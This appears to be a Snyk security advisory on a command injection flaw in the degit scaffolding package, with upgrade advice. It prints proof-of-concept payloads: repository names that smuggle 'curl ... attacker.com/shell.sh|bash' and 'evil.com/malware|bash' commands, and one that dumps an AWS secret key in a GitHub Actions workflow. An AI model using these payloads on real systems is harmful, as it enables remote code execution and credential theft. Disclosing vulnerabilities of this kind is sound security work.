Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade degit to version 2.8.6, 3.3.1 or higher.
degit is a Straightforward project scaffolding
Affected versions of this package are vulnerable to Command Injection due to improper sanitisation of user input for git shell commands directly invoked with exec() method by _cloneWithGit() and fetchRefs() functions. An attacker can execute arbitrary operating system commands as the process user by supplying a specially crafted git repository name.
user input: github.com/user$(curl${IFS}https://attacker.com/shell.sh|bash)/repo
server-side call: degit("github.com/user$(curl${IFS}...)/repo").clone("/tmp/project")
result: shell.sh executes on the server with the web server's privileges
# .github/workflows/scaffold.yml
- name: Scaffold project
run: |
npx degit "${{ github.event.inputs.template }}" ./project
with attacker-controlled template input (e.g., from a PR or workflow dispatch):
github.com/user$(printenv${IFS}AWS_SECRET_ACCESS_KEY>$GITHUB_WORKSPACE/leak.txt)/repo
// Inside popular scaffolding CLI:
const template = process.argv[2]; // user provides this
await degit(template).clone(dest); // injection here
npx popular-scaffold-cli "github.com/user$(curl${IFS}https://evil.com/malware|bash)/template"